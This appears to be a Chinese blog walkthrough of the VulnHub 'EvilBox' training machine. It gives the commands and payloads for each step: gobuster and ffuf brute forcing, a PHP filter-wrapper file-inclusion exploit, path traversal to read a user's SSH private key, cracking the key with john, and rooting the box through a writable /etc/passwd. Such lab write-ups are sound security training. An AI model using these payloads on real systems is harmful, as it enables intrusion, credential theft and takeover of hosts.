EvilBox靶机之强制访问、文件包含、PHP封装器、gobuster路径爆破、ffuf参数爆破、SSH公钥登录、系统权限漏洞利用

靶机地址:https://download.vulnhub.com/evilbox/EvilBoxhttps://download.vulnhub.com/evilbox/

难度等级:低→中

打靶目标:取得 root 权限 + 2 Flag

涉及攻击方法:

主机发现

网络扫描

强制访问

参数爆破

文件包含

PHP封装器

任意文件读取

SSH公钥登录

离线密码破解

系统权限漏洞利用

一、主机发现

fping -gaq 172.20.10.0/24

二、端口扫描

nmap -p22,80 -A 172.20.10.4

-A == -sV -sC -o

三、路径爆破-gobuster

gobuster dir -u http://172.20.10.4/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html.jsp

gobuster dir -u http://172.20.10.4/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html.jsp

四、参数爆破

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w val.txt:VAL -u http://172.20.10.4/secret/evil.php?PARAM=VAL -fs 0

-fs 0 过滤掉空内容

利用文件包含爆破参数

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -u http://172.20.10.4/secret/evil.php?PARAM=../index.html -fs 0

五、PHP封装器

利用PHP封装器读取源码

http://172.20.10.4/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php

PD9waHAKICAgICRmaWxlbmFtZSA9ICRfR0VUWydjb21tYW5kJ107CiAgICBpbmNsdWRlKCRmaWxlbmFtZSk7Cj8+Cg== <?php $filename = $_GET['command']; include($filename); ?>

利用PHP封装器写入(需要写入权限)

http://172.20.10.4/secret/evil.php?command=php://filter/write=convert.base64-docode/resource=test.php&txt=MTIz

MTIz为 123 bash64加密

六、SSH公钥登录

查看SSH支持那种登录方式

ssh mowree@172.20.10.4 -v

查看用户公钥

http://172.20.10.4/secret/evil.php?command=../../../../../../../../../home/mowree/.ssh/authorized_keys

查看私钥

view-source:http://172.20.10.4/secret/evil.php?command=../../../../../../../../../home/mowree/.ssh/id_rsa

在kali主目录生成id_rsa文件,将私钥复制进id_rsa

给id_rsa设置相应权限

chmod 600 id_rsa

利用私钥登录

ssh mowree@172.20.10.4 -i id_rsa

选取大字典rockyou.txt 对私钥进行爆破

使用john对私钥进行爆破

1、将id_rsa转换为john可以识别的格式

2、使用john进行爆破

john hash --wordlist=rockyou.txt

七、系统权限漏洞利用

突破边界进行提权

利用可写权限文件

find / -writable 2>/dev/null | grep -v pro

发现/etc/passwd可写

给root用户生成密码

openssl passwd -1

密码:123

将生成的密码放在/etc/passwd

提权成功

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值